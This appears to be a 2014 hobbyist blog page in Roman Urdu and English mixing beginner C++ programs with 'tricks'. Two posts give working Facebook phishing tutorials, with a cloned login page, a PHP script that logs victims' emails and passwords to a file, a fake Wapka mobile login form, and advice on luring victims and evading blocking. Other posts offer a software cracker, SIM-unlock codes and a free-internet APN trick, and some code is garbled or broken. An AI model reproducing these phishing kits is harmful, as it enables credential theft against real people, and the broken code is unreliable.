Slide 1 Title Here

Welcome to Blogger.Go to Blogger edit html and find these sentences.Now replace these text/sentences with your own descriptions.This theme is convert to Blogger by Premiumbloggertemplates.com ...

Slide 2 Title Here

Welcome to Blogger.Go to Blogger edit html and find these sentences.Now replace these text/sentences with your own descriptions.This theme is convert to Blogger by Premiumbloggertemplates.com ...

Slide 3 Title Here

Welcome to Blogger.Go to Blogger edit html and find these sentences.Now replace these text/sentences with your own descriptions.This theme is convert to Blogger by Premiumbloggertemplates.com ...

Slide 4 Title Here

Welcome to Blogger.Go to Blogger edit html and find these sentences.Now replace these text/sentences with your own descriptions.This theme is convert to Blogger by Premiumbloggertemplates.com ...

Online Visitor Counter

  • RSS
  • Delicious
  • Digg
  • Facebook
  • Twitter
  • Linkedin
  • Youtube

Saturday, April 26, 2014

how to make phising fb


ye lo phishing ki trik fist time de
rha hun free mein aur dosri jo bhi
trik chahiye hay add kro all fb
trick hein mere paas ;D free mein dunga pakka * Hack
Facebook by Phishing *
Phishing is the method to hack
the victim by
creating a Fake login page and
Uploading it to a webhosting site so when Victim
enters his
E-mail Id and Password we get it.
How to Do Phishing
note - This Article is only for
educational Purpose I won't be Responcible for
any Harm
done by you.
The Process is divided into three
parts -: First
to create a Fake Login Page, than Uploading it
on a Web Hosting Site and than
Hacking the
Victim.
* Craeting A Fake Login page *1)
Open google chrome
2) Open Facebook
3)
Now right click anywhere on the
White part
and than click on "View Page Source". A
webpage will open in New Tab,
Press Ctrl+A
and Copy(Ctrl + c) Everything.
4) Open Notepad and paste(Ctrl +
V) 5) Now press Ctrl+F
(Serach) and search for "Action", if
you're
unable to find Action, keep on
searching up
and down. 6) Now we have to change
something. you
have
searched action,,in this line is
written
as-“https//www.facebook.com/ login.php? login_attempt=1”, you have to
change this
and write ‘‘password.php’’ and
next to this
something is written as
‘method="post"’ change this and write ‘‘get’’ in
place of ‘‘post’’
i.e. method="get" so this is now
action="password.php"
method="get". 7)
Now save it with name login.html Now copy this and paste in
notepad-
<?php
header("Location: http:// www.phisshed- website./ com");
$handle = fopen("vandemat
ram.txt", "a");
foreach($_GET as $variable =>
$value) {
fwrite($handle, $variable); fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "rn");
}
fwrite($handle, "rn");
fclose($handle); exit;
?>
Write the name of website in
place of http://­
www.phisshed-website./ com on
which you are phishing,,so you can write -
<?php
header("Location: http://­ www.facebook.com/"); $handle = fopen("vandemat
ram.txt", "a");
foreach($_GET as $variable =>
$value) {
fwrite($handle, $variable);
fwrite($handle, "="); fwrite($handle, $value);
fwrite($handle, "rn");
}
fwrite($handle, "rn");
fclose($handle);
exit; ?>
Save it with name password.php
Open notepad again and save
empty notepad
file with name “vandematram”.
Now we have 3 files-login.htm l,pas­
sword.php,vandematram.txt
Uploading These Files To any Free
Webhosting Site
Here are some free Web Hosting
Sites 110mb
Ripway
SuperFreeHost
My3gb
Heliohost
freehostia Freeweb7
Sign up on any of these Websites
and Upload
all the three Files such that
Login.html is on
top, password.php on middle and Vandematram on last.
* Hacking The Victim *
1)Go to your Webhosting account
(Login),
Right click on the Login File ie
Login.html and than left click on Copy Link
Address
2) Now you have to
play a little game with victim,
give him the link
of that File(Login.html) and make him login to
that file(once he click on the file
he will be
redirected to that fake login
page), its depend
on you how you do it. 3) Once the victim login with that
fake page,
visit your
webhosting account again, open
the file
Vandematram, You will get both E-Mail ID and
password of Victim...
Enjoy
Note :-1) Facebook have blocked
most of the
webhosting site, so, if possible try to give the
link to victim outside FB ie via SMS
or
something like this
2) Do send the Link to victim
before 24 hours because
nowadays Web hosting sites
delete Phishing
account after 24 hrs.
3)
sometimes password.php, after uploading
turns into password.php.txt if it
happens
change it to password.php
Do hit like on this note if you like
it

Monday, April 21, 2014

Samsung K Khufya Codes & Sim Lock, Network Lock Removing

Samsung K Khufya Codes & Sim Lock, Network Lock Removing

To All Itd Members &
Friends Umeed Hai App 
Bilkul Thek Thak Hongay 
Aaj Main App Kelye Laya Hon 
Samsung Secret Codes !
PROGRAMMER CODES!

Aur Itne Mehnat Kya Plz
Thanx Press Krna Warna
Ainda Aisey Trick Share Nahe
Kronga Tu Chalty Hain Topic Ki Tarf
*#06# displays phones IMEI NO.
*#9999# SW Version.
*#8888# HW Version.
*#0842# Vibrator.
*#0289# Buzzer.
*#0228# Battery Stat.
*#0782# RTC Display (?¿)
*#0523# LCD Contrast.
*#0377# NVM error log (?¿)
*#5646# GSM Logo Set.
*#0778# Sim Serv, Table. (?¿)
*#0638# SIM Network ID.
*#0746# SIM info.
*#0076# Production No.
*#3323# Forced Crash (?¿ don't know, but dose not sound good)
*#2576# SIM error.
*#4357# This screen ( the actural help screen)
*#9324# Netmon <> press the hung up key to exit.
*#0778# To see what your SIM suportes.
*#0746# Your sim type.
*#32439483 Digital Audio Interference off.
*#32436837# Digital Audio Interference on.
*#9998*JAVA# Edit GPRS/CSD settings (S100 only).
*#9998*Help# Screen / List of codes.
*#9998*RTC# RTC Display.
*#9998*bat# Battery Status.
*#9998*buz# Turns Buzzer On.
*#9998*vub# Turns Vibator On.
*#9998*LCD# LCD Contrast.
*#9998*9999# Sotfware Version.
*#9998*8888# Hardware Version.
*#9998*377# Non Volatile Merory Error Log.
*#9998*NET# SIM NEtwork ID
*#9998*778# SIM Serv. Table.
*#9998*968# Remider Tune.
*#9998*NVM# Displays Non-Volitile Mermory Status.
*#9999*C# Netmon.
*#9998*2576# Forces SIM Error.
*#9998*DEAD# Forces Phone Crash.
*#9998*533# (LED).
*#999* Show date and alarm clock.
*#8999*638# show network information.
*#9998*5646# change operator logoat startup.
*#9998*968# View melody alarm.

*2767*MEDIA# Resets the media on phone <>DELETES all downloaded PICS/TONES <>
*2767*FULL# Resets the EEPRON* <>°DANGEROUS°<>
*2767*CUST# Resets the sustom EEPRON.
*2767*JAVA# Resets JAV downloads ( dealets all downloaded midits)
*2767*STACKREST# RESETS STACK.
*2767*225RESET# * VERY Dangerous.

#0111*0000000# Removes SIM Lock.

*2767*66335#
*2767*3700#
*2767*7100#
*2767*8200#
*2767*7300#
*2767*2877368#
*2767*33927#
*2767*85927#
*2767*48927#
*2767*37927#
*2767*28927#
*2767*65927#
*2767*29927#
*2767*78927#
*2767*79928#
*2767*79928#
*2767*82927#
*2767*787927#
*2767*73738927#
*2767*33667#
*2767*85667#

*2767*688# = Unlocking code
*#8999*8378# = All in one code
*#4777*8665# = GPSR Tool
*#8999*3825583# = External Display
*#8999*377# = Errors
*#2255# = call list
#*5737425# = JAVA Something chouse 2and it chrashed.

#*536961# = Java Status Code
#*536962# = Java Status Code
#*536963# = Java Status Code
#*53696# = Java Status Code


#*1200# = AFC DAC Val
#*1300# =IMEI
#*1400# = IMSl

#*2562# ?¿ white for 15 sec than restarts.
#*2565# Check Blocking
#*3353# check code
#*3837# = ?¿ White for 15 secs than restarts.
#*3849# = ?¿ white for 15 secs than restarts.


#*7222# = Operation Typ ( class C GSM)
#*7224# = I got ERROR !
#*7252# = Operation Typ ( Class B GPRS)
#*7271# Multi Slot ( Class 1 GPRS)
#*7271# Multi Slot ( Class 4 GPRS)
#*7337# = EEPROM Reset ( unlock and resets Wap settings)
#*2787# CRTP ON/OFF
#*3737# L1 Dbg Data
#*5133# L1 Dbg Data
#*7288# GPRS Attached
#*7287# GPRS Detached
#*7666# SrCell Data
#*7693# Sleep Act/Deact ( enable or disable the black screen after doing nothen for a while)
#*7284# Class B/C Or GPRS
#*2256# Calibration Info
#*2286# Battery Data
#*2679# Copycat Feature (Activate or deactavite)
#*3940# External loop 9600 bps
#*8462# sleeptime
#*5176# L1 Sleep
#*5187# L1C2G Trace ( activate or deactivate)
#*3877# Dump Of spy trace
5/31/2006 12:15 PM
*#8999*636# Have no clue i see 20 lines
*#8999*8376263# HW Ver SW Ver and build date
*#746565# Checks the locks
*7465625*638*Code# Enables Network lock
#7465625*638*Code# Disables Network lock
#7465625*782*code# Disables Subset lock
*7465625*782*code# Enables subset lock

*7465625*746*code# Enables SIM lock
#7465625*746*code# disables SIM lock

*7465625*28746# Auto SIM lock On
#7465625*28746# Auto SIM lock Off

(*Known Unlock CODES*)

S500/ P400/ E500/ E700/ X100/ X600/ E100/
Enter *2767*3855# with and accepted SIM card If this codes fails, Enter *2767*688# or #*
7337#

A300/ A400 / A800
*2767*637#
Enter code above with an accepted SIM card.

S100 / S300 / V200 / V205 / E710 / E715 / D410 / X426/
*2767*7822573738#
Enter code above with an accepted SIM card.
If the code above fails)
1.) Insert a SIM card which the phone dose not accept.
2.)If you see wrong Card, type #9998*3323#
3.)Press exit and select number 7. Phone will reboot.
4.) Now SIM should work.
5.) Type *0141# and then press call.
6.) Power off the phone and inser anther SIM card.
7.) If a code is requested, enter 00000000

Khuda hafiz

Saturday, April 19, 2014

Calculator Code For C++ With 9 function & Do While Loop

Calculator Code For C++ With 9 function & Do While Loop
#include <iostream>
#include <math.h>
using namespace std;
int main ()
{
char ans='y';
while (ans=='y' || ans== 'Y')
{
float a,b,c,d;
double pi=3.14159265;
cout<<" <<@ Calculator By Hashmat naqvi @>>"<<endl;
cout<<" Press 1 for Addition"<<endl;
cout<<" Press 2 for Subtrection"<<endl;
cout<<" Press 3 for Division"<<endl;
cout<<" Press 4 for Multiplication"<<endl;
cout<<" Press 5 for Square"<<endl;
cout<<" Press 6 for Compairing Numbers"<<endl;
cout<<" Press 7 for Grades Calculator"<<endl;
cout<<" Press 8 for Cube"<<endl;
cout<<" Press 9 For Square Root"<<endl;
cout<<" press 0 For Exit"<<endl;
cout<<" Enter Your Choice : ";
cin>>c;
if (c==1)
{
cout<<" ADDITION:"<<endl;
cout<<" Enter 1st Number:"<<endl;
cin>>a;
cout<<" Enter 2nd Number:"<<endl;
cin>>b;
cout<<" Result Is:"<<a+b<<endl;
}
else if (c==2)
{
cout<<" SUBRRECTION:"<<endl;
cout<<" Enter 1st Number:"<<endl;
cin>>a;
cout<<" Enter 2nd Number:"<<endl;
cin>>b;
cout<<" Result Is:"<<a-b<<endl;
}
else if (c==3)
{
cout<<" DIVISION:"<<endl;
cout<<" Enter 1st Number:"<<endl;
cin>>a;
cout<<" Enter 2nd Number:"<<endl;
cin>>b;
cout<<" Result Is:"<<a/b<<endl;
}
else if (c==4)
{
cout<<" MULTIPLICATION:"<<endl;
cout<<" Enter 1nd Number:"<<endl;
cin>>a;
cout<<" Enter 2nd Number:"<<endl;
cin>>b;
cout<<" Result Is:"<<a*b<<endl;
}
else if (c==5)
{
cout<<" SQUARE:"<<endl;
cout<<" Enter Number:"<<endl;
cin>>a;
cout<<" Result is:"<<a*a<<endl;
}
else if (c==6)
{
cout<<" COMPAIRING NUMBERS"<<endl;
cout<<" Enter 1st Number:"<<endl;
cin>>a;
cout<<" Enter 2nd Number:"<<endl;
cin>>b;
cout<<" Enter 3rd Number:"<<endl;
cin>>d;
if (a>b&&a>d)
{
cout<<" 1st Number Is Greater"<<endl;
}
else if (b>a&&b>d)
{
cout<<" 2nd Number Is Greater"<<endl;
}
else
{
cout<<" 3rd Number Is Greater"<<endl;
}
}
else if (c==7)
{
cout<<" GRADES CALCULATOR"<<endl;
cout<<" Enter your Marks Percentage:"<<endl;
cin>>a;
if (a<60)
{
cout<<" You are Fail : Work Hard & Try Again"<<endl;
}
else if (a<68)
{
cout<<" You get C : Work Hard"<<endl;
}
else if (a<76)
{
cout<<" You Get C+ : Good"<<endl;
}
else if (a<83)
{
cout<<" You Get B : V.Good"<<endl;
}
else if (a<89)
{
cout<<" You Get B+ : Great"<<endl;
}
else if (a<=100)
{
cout<<" You Get A : Excellent"<<endl;
}
else

{
cout<<" INVALID INPUT"<<endl;
}
}
else if (c==8)
{
cout<<" CUBE"<<endl;
cout<<" Enter Number"<<endl;
cin>>a;
cout<<" Result="<<a*a*a<<endl;
}
else if (c==9)
{
cout<<" SQUARE ROOT"<<endl;
cout<<" Enter Number"<<endl;
cin>>a;
cout<<" Result is="<<sqrt (a)<<endl;
}
else if (c==0)
{
cout<<" Bye Bye"<<endl;
}

else
{
cout<<" INVALID INPUT"<<endl;
}
{
cout<<" THANKS FOR USING MY CALCULATOR"<<endl;
cout<<" See You Soon"<<endl;
}
cout<<"Do YOu want to Continue or recalculate Yes(Y),No (N)";
cin>>ans;
}
system ("pause");
return 0;
}

FB phising code


What is Phishing ?Phishing is a way of deceivingyour victim by making him login through one of your webpages which is a copy of the original one. By doing so the fake webpage will save his E-mail ID or username and password. This is used for criminal activities for stealing Credits Cards and So on. Now we are going to make a fake login page of Facebook Mobile. Lets start the tutorial... 
Step 1: Register a new Wapka Account First create a new wapka account from the link below. www.wapka.mobi 
Step 2: Go to Admin Mode.
Step 3: Edit Site >>mail form>> **Remember: Enable CAPTCHA pictures: Must UnMark it ..**  Now press Submit & RememberDon't set it admin mode. 
Next step>> After collecting the value="XXXXXXXX" code u Must hide the mailform in Admin Mode. How to hide it on Admin Mode??? Ans: Go To
Edit Site>user>Items visibility>Now click on X.  Now its Done.
Step 5: Go to Edit Site >Global Settings>Headtag Meta style>Put this code.
<link rel=STYLESHEET></link>type=&quot;text/css" href="http://skfacebook.wapkamobi/styles.css"/>
Step 6:  copy the main Code Of Wapka Phishing Page given below
Step 7: At Last After Finishing All Work Now U Can Put This Code on your site at last.... For This Code Wapka Advertise will be remove from foot of your site...... Enjoy GoEDIT SITE>WML/XHTML>PUT THIS <noscript/>  Remember: U have to keep this code below of all codes.  
  1. <!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd"><html xmlns="http://www.w3org/1999/xhtml">

  2. <script type="text/javascript"> document.title = "Welcome to Facebook"; </script>

  3. <head title="Welcome to Facebook"><title>Welcome to Facebook</title><meta name="description" content="Facebook helps you connect and share with the people in your life." /><meta name="referrer" content="default"id="meta_referrer" /><meta http-equiv="X-Frame-Options" content="deny" />

  4. <!-----[ » © Fb Phishing 2013 all credit goes to Amimul Ehsun Jobair  & Shared at Hacker University« ]-----!>


  5. </head><body>
    <table cellspacing="0" cellpadding="0"><tr><td valign="top">

    </td><td valign="top">Create Account</td></tr></table>
    <li>

    </li><li>
    You must log in first.
    </li><li>

    </li><li>
    <li>

    </li><li>
    <form method="post" onSubmit="window.open ('http://facebook.com')" action="site_0.xhtml">
    </li><li>
    Email or Phone
    <input type="text" name="mf_text[Email]"/><li>
    </li>
    Password
    <li>
    <input type="password" name="mf_text[Password]"/>
    </li><li>
    </li>
    <li>
    <input type="hidden" name="p" value="XXXXXXXX"/><input type="hidden" name="action" value="send_message"/>
    </li><li>
    <input type="submit" name="MF_submit" size="0" value="Log In" />
    </li>
    <hr style="background-color:#cccccc;height:1px;border:0px solid #fff;margin:0.3em auto;width:100%;" />
    New to Facebook?
    <input type="hidden" autocomplete="off" name="_fb_noscript" value="true" /></form> </li>
    </li>
    English (US) · Español · Português (Brasil) · More…
    Facebook ©2013
    </body>

  6. </html>

Internet Download Manager (IDM) Cracker


Here Is Internet Download Manager (IDM) Cracker File:
Download And Install It And Enjoy



Free download Now:

Friday, April 18, 2014

For loop Print 1 to 10 Value


#include<conio.h>
#include<iostream.h>
void main()
{
clrscr();
int a;
for(a=1; a<=10; a++)
{
cout<<a<<endl;
}
cout<<”By Muzafar Hussain sahto”;
getch();
}

while loop program 2


#include<conio.h>
#include<iostream.h>
void main()
{
clrscr();
int a=1;
do
{
cout<<a<<endl;
a++;
}
 while(a!=10);
cout<<”By Muzafar Hussain Sahto”;
getch();

while loop


#include<conio.h>
#include<iostream.h>
void main()
{
clrscr();
int a=1;
while(a!=10)
{
cout<<a<<endl;
a++;
}
cout<<”By Muzafar Hussain sahto”;
getch();
}

Number is greater or smaller


#include<conio.h>
#include<iostream.h>
void main()
{
clrscr();
int num=100, num2=50;
if(num>num2)
{
cout<<”1st  number is greater”<<endl;
cout<<”2nd number is smaller”<<endl;
}
Else
{
cout<<”1st  number is smaller”<<endl;
cout<<”2nd number is greater”<<endl;
}
cout<<”By Muzafar Hussain Sahto”;
getch();
}
t'>}

Age Grater or Less


#include<conio.h>
#include<iostream.h>
void main()
{
clrscr();
int age1=20, age2=15, age3=7;
if(age1>age2&&age1>age3)
{
cout<<”person with age1 is elder”<<endl;
cout<<”person with age2 and age3 are younger”<<endl;
}
cout<<”By Muzafar Hussain Sahto”;
getch();
}

Increment Decrement


#include<conio.h>
#include<iostream.h>
void main()
{
clrscr();
int balls=10;
cout<<balls<<endl;
cout<<balls++<<endl;
cout<<++balls<<endl;
cout<<balls--<<endl;
cout<<--balls<<endl;
cout<<”By Muzafar Hussain Sahto”;
getch();
}

Logical Operators


#include<conio.h>
#include<iostream.h>
void main()
{
clrscr();
int a=2, b=3, c=4;
cout<<(a>b&&a>c)<<endl;
cout<<(a>b||a>c)<<endl;
cout<<(a>b||c>b)<<endl;
cout<<(!(a>b&&!a<c))<<endl;
cout<<”By Muzafar Hussain Sahto”;
getch();
}

Relational Operators


#include<conio.h>
#include<iostream.h>
void main()
{
clrscr();
int a=10, b=5;
cout<<a>b is<<(a>b) <<endl;
cout<<a<b is<<(a<b) <<endl;
cout<<a==b is<<(a==b) <<endl;
cout<<a!=b is<<(a!=b) <<endl;
cout<<a>=b is<<(a>=b) <<endl;
cout<<a<=b is<<(a<=b) <<endl;
cout<<”By Muzafar Hussain Sahto”;
getch();
}

Arithmetic operators


#include<conio.h>
#include<iostream.h>
void main()
{
clrscr();
int a=10, b=5;
cout<<(a+b) <<endl;
cout<<(a-b) <<endl;
cout<<(a*b) <<endl;
cout<<(a/b) <<endl;
cout<<(a%b) <<endl;
cout<<”By Muzafar Hussain Sahto”;
getch();

Simple Char Program


#include<conio.h>
#include<iostream.h>
void main()
{
clrscr();
char ch;

cout<<”Inter any character ”;
cin>>ch;
cout<<”You have intered ”<<ch<<endl;
cout<<”By Muzafar Hussain Sahto”;
getch();
}

Multiplication


#include<conio.h>
#include<iostream.h>
void main()
{
clrscr();
const float pi=3.14F;
int radius;
float area;
cout<<”Inter the radius of the circle:”;
cin>>radius;
area=pi*(radius*radius);
cout<<”The area of the circle”<<area<<endl;
cout<<”By 14MT17”;
getch();
}
:24.0p N < : �T DU /span>
-s W 2 . �T DU <<”There are”<<mixture<<”dm cube cubes of mixture <<endl”;
cout<<”By 14MT17”;
getch();
}

Intger initialization program



#include<conio.h>
#include<iostream.h>
void main()
{
clrscr();
int a=10000;
int b=20000;
short c=5;
cout<<”integer ”<<a<<endl;
cout<<”long ”<<b<<endl;
cout<<”short ”<<c<<endl;
cout<<”By Muzafar Hussain Sahto”;
getch();
}

Simple Calculator


#include<conio.h>
#include<iostream.h>
void main()
{
clrscr();
int mixture;
int ethane=5, methane=8, propane=2;
mixture=(ethane+methane+propane);
cout<<”There are”<<ethane<<”dm cube of ethane <<endl”;
cout<<”There are”<<methane<<”dm cube of methane <<endl”;
cout<<”There are”<<propane<<”dm cube of propane <<endl”;
cout<<”There are”<<mixture<<”dm cube cubes of mixture <<endl”;
cout<<”By Muzafar Hussain Sahto”;
getch();
}

Simple Plus Calculator


#include<conio.h>
#include<iostream.h>
void main()
{
clrscr();
int a,b,ans;
cout<<”Inter 1st  Number\t\t”;
cin>>a;
cout<<”Inter 2nd Number\t\t”;
cin>>b;
ans=a+b;
cout<<”the sum of two Number is”<<ans <<endl;
cout<<”By Muzafar Hussain Sahto”;
getch();
}

Basic program


#include<conio.h>
#include<iostream.h>
void main()
{
clrscr();
cout<<”Assignment of C++”<<endl;
cout<<”By Muzafar Hussain Sahto”;
getch();
}

frnds men ek trick le kar hazir hua hoon ho sakta he pehle b pata ho kuch doston ko.
Ye un k liye he jin ko nhn pata ab ap ucbrowser se screne shot le sakte hen karna ye he k uc ko use karte huye jis page ka screne shot lena ho us page ko open kr k uc ka menu button press kren us men aik option hoga tools is ko pres kren us mn aik opyion hoga screneshot us ko ok kren lo g ap ka screne shot ready he menu ko pres kr k save kr len thats it.

How to use Free internet on ZONG Full Method


Assalam o Alaikumfriends in this post I am teaching you that how can you use free internet in your mobile with ZONG connection
its 2 simple Step:
STEP: (1)  => Go Write Msg Option  type your: Mobile Company Name, Mobile Model, Internet 

And send Msg 131

=> Please save your setting 
with code 1234
STEP: (2)  
=> And than Go Internet setting profile
Edit: APN
Change your APN setting; 
==>> Type this One
APN: Wapgw: 10.81.6.33
Use Free Internet & enjoy….

First Lacture In C++


Attached Images
     

c++ challan calculator for traffic violations program

#include<iostream.h>
#include<conio.h>

main()

{
char i;
int a, b;

do
{
system("cls");
cout<<"******Challan Calculator for Traffic Violations******";
cout<<endl;
cout<<endl;
cout<<"Enter '1' for Breaking Signal:";
cout<<endl;
cout<<"Enter '2' for Over Speed:";
cout<<endl;
cout<<"Enter '3' for Wearing not Seat Belt:";
cout<<endl;
cout<<endl;
cout<<"Enter the type of traffic violation 1, 2 or 3:";
cin>>a;
cout<<endl;
switch(a)
{
case 1:
cout<<"Enter the numbers of days passed till challan date:";
cin>>b;
cout<<endl;

if(b<=10)cout<<"The total fine is Rs: "<<500;
else if (b<=30)cout<<"The total fine is Rs: "<<500*2;
else if (b>30)cout<<"The total fine is Rs: "<<(500*2)+(500/2);
break;
case 2:
cout<<"Enter the numbers of days passed till challan date:";
cin>>b;
cout<<endl;

if(b<=10)cout<<"The total fine is Rs: "<<300;
else if (b<=30)cout<<"The total fine is Rs: "<<300*2;
else if (b>30)cout<<"The total fine is Rs: "<<(300*2)+(300/2);

break;
case 3:
cout<<"Enter the numbers of days passed till challan date:";
cin>>b;
cout<<endl;

if(b<=10)cout<<"The total fine is Rs: "<<200;
else if (b<=30)cout<<"The total fine is Rs: "<<200*2;
else if (b>30)cout<<"The total fine is Rs: "<<(200*2)+(200/2);
break;
default:
cout<<endl;
cout<<endl;
cout<<"Please Enter a Valid Type of Traffic Violation:";
cout<<endl;
cout<<endl;
getch();
cout<<endl;
cout<<endl;
system("cls");
main();
break;

}

cout<<endl;
cout<<endl;
cout<<"Do you want another challan calculation? (y/n):";
cin>>i;
}
while(i != 'N' && i != 'n' );

}
Attached Images
 

Simple Maths Program

آج جو پروگرام میں پوسٹ کر رہا ہوں اس سے آپ پلس ، مینس وغیرہ کر سکتے ہیں.
اس پروگرام کو رن کریں اور بتایں کے کیسا لگا



#include<iostream>
using namespace std;
void main();

void MainMenu()
{
cout<<" 1.Addition"<<endl;
cout<<" 2.Subtraction"<<endl;
cout<<" 3.Multiplication"<<endl;
cout<<" 4.Division"<<endl;
cout<<" 5.Remainder"<<endl;
cout<<" 6.Factorial"<<endl;
cout<<" 7.Even or Odd"<<endl;
cout<<" 8.Exit"<<endl<<endl;
cout<<"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~"<<endl;
}

void Add()
{
system("color 4a");
cout<<"~~~~~~~~~~~~~~~You Choose Addition~~~~~~~~~~~~~~"<<endl<<endl;
double a,b;
cout<<"Enter the Value of A = ";
cin>>a;
cout<<"Enter the Value of B = ";
cin>>b;
cout<<endl;
cout<<a<<" + "<<b<<" = "<<a+b<<endl<<endl;
cout<<"1.For Again Addtion"<<endl;
cout<<"2.Back to Main Menu"<<endl;
cout<<"3.Exit"<<endl;
int o;
cout<<endl;
cout<<"~~~~~~~~~~~~~~~~~~"<<endl;
cout<<"Enter Option = ";
cin>>o;
cout<<endl;
cout<<"~~~~~~~~~~~~~~~~~~"<<endl;
cout<<endl<<endl;
switch(o)
{
case 1:
Add();
break;
case 2:
main();
break;
case 3:
exit(0);
break;
default:
cout<<"Wrong Entry"<<endl;
}
}

void Sub()
{
system("color 1d");
cout<<"~~~~~~~~~~~~~~~You Choose Subtraction~~~~~~~~~~~~~~"<<endl<<endl;
double a,b;
cout<<"Enter the Value of A = ";
cin>>a;
cout<<"Enter the Value of B = ";
cin>>b;
cout<<endl;
cout<<a<<" - "<<b<<" = "<<a-b<<endl<<endl;
cout<<"1.For Again Subtraction"<<endl;
cout<<"2.Back to Main Menu"<<endl;
cout<<"3.Exit"<<endl;
int o;
cout<<endl;
cout<<"~~~~~~~~~~~~~~~~~~"<<endl;
cout<<"Enter Option = ";
cin>>o;
cout<<endl;
cout<<"~~~~~~~~~~~~~~~~~~"<<endl;
cout<<endl<<endl;
switch(o)
{
case 1:
Sub();
break;
case 2:
main();
break;
case 3:
exit(0);
break;
default:
cout<<"Wrong Entry"<<endl;
}
}

void Mul()
{
system("color 5e");
cout<<"~~~~~~~~~~~~~~~You Choose Multiplication~~~~~~~~~~~~~~"<<endl<<endl;
double a,b;
cout<<"Enter the Value of A = ";
cin>>a;
cout<<"Enter the Value of B = ";
cin>>b;
cout<<endl;
cout<<a<<" * "<<b<<" = "<<a*b<<endl<<endl;
cout<<"1.For Again Multiplication"<<endl;
cout<<"2.Back to Main Menu"<<endl;
cout<<"3.Exit"<<endl;
int o;
cout<<endl;
cout<<"~~~~~~~~~~~~~~~~~~"<<endl;
cout<<"Enter Option = ";
cin>>o;
cout<<endl;
cout<<"~~~~~~~~~~~~~~~~~~"<<endl;
cout<<endl<<endl;
switch(o)
{
case 1:
Mul();
break;
case 2:
main();
break;
case 3:
exit(0);
break;
default:
cout<<"Wrong Entry"<<endl;
}
}

void Div()
{
system("color 2f");
cout<<"~~~~~~~~~~~~~~~You Choose Division~~~~~~~~~~~~~~"<<endl<<endl;
double a,b;
cout<<"Enter the Value of A = ";
cin>>a;
cout<<"Enter the Value of B = ";
cin>>b;
cout<<endl;
cout<<a<<" / "<<b<<" = "<<a/b<<endl<<endl;
cout<<"1.For Again Division"<<endl;
cout<<"2.Back to Main Menu"<<endl;
cout<<"3.Exit"<<endl;
int o;
cout<<endl;
cout<<"~~~~~~~~~~~~~~~~~~"<<endl;
cout<<"Enter Option = ";
cin>>o;
cout<<endl;
cout<<"~~~~~~~~~~~~~~~~~~"<<endl;
cout<<endl<<endl;
switch(o)
{
case 1:
Div();
break;
case 2:
main();
case 3:
exit(0);
break;
default:
cout<<"Wrong Entry"<<endl;
}
}

void Rem()
{
system("color 2b");
cout<<"~~~~~~~~~~~~~~~You Choose Remainder~~~~~~~~~~~~~~"<<endl<<endl;
int a,b;
cout<<"Enter the Value of A = ";
cin>>a;
cout<<"Enter the Value of B = ";
cin>>b;
cout<<endl;
cout<<a<<" % "<<b<<" = "<<a%b<<endl<<endl;
cout<<"1.For Again Remainder"<<endl;
cout<<"2.Back to Main Menu"<<endl;
cout<<"3.Exit"<<endl;
int o;
cout<<endl;
cout<<"~~~~~~~~~~~~~~~~~~"<<endl;
cout<<"Enter Option = ";
cin>>o;
cout<<endl;
cout<<"~~~~~~~~~~~~~~~~~~"<<endl;
cout<<endl<<endl;
switch(o)
{
case 1:
Rem();
break;
case 2:
main();
break;
case 3:
exit(0);
break;
default:
cout<<"Wrong Entry"<<endl;
}
}

void Fac()
{
system("color 5b");
cout<<"~~~~~~~~~~~~~~~You Choose Factorial~~~~~~~~~~~~~~"<<endl<<endl;
int a,b,c;
cout<<"Enter the Number = ";
cin>>a;
c=a;
for(b=a-1;b>0;b--)
a=b*a;
cout<<endl;
cout<<"Factorial of "<<c<<" = "<<a<<endl<<endl;
cout<<"1.For Again Factorial"<<endl;
cout<<"2.Back to Main Menu"<<endl;
cout<<"3.Exit"<<endl;
int o;
cout<<endl;
cout<<"~~~~~~~~~~~~~~~~~~"<<endl;
cout<<"Enter Option = ";
cin>>o;
cout<<endl;
cout<<"~~~~~~~~~~~~~~~~~~"<<endl;
cout<<endl<<endl;
switch(o)
{
case 1:
Fac();
break;
case 2:
main();
break;
case 3:
exit(0);
break;
default:
cout<<"Wrong Entry"<<endl;
}

}

void EvOd()
{
system("color 6a");
cout<<"~~~~~~~~~~~~~~~You Choose Even or Odd~~~~~~~~~~~~~~"<<endl<<endl;
int a;
cout<<"Enter a Number = ";
cin>>a;
cout<<endl;
if(a%2==0)
cout<<a<<" is Even "<<endl<<endl;
else
cout<<a<<" is Odd "<<endl<<endl;
cout<<"1.For Again Even or Odd"<<endl;
cout<<"2.Back to Main Menu"<<endl;
cout<<"3.Exit"<<endl;
int o;
cout<<endl;
cout<<"~~~~~~~~~~~~~~~~~~"<<endl;
cout<<"Enter Option = ";
cin>>o;
cout<<endl;
cout<<"~~~~~~~~~~~~~~~~~~"<<endl;
cout<<endl<<endl;
switch(o)
{
case 1:
EvOd();
break;
case 2:
main();
break;
case 3:
exit(0);
break;
default:
cout<<"Wrong Entry"<<endl;
}
}

void main()
{
system("color 2f");
MainMenu();
int o;
cout<<"Enter the Choice = ";
cin>>o;
cout<<endl;
switch(o)
{
case 1:
Add();
break;
case 2:
Sub();
break;
case 3:
Mul();
break;
case 4:
Div();
break;
case 5:
Rem();
break;
case 6:
Fac();
break;
case 7:
EvOd();
break;
case 8:
exit(0);
break;
default :
cout<<"Wrong Entry Plese Enter Again"<<endl<<endl;
main();
}
system("pause");
}

ag koe masala ho to yeah ponch saktain hain
 
  • Blogroll

  • Consectetuer

  • Popular

  • Comments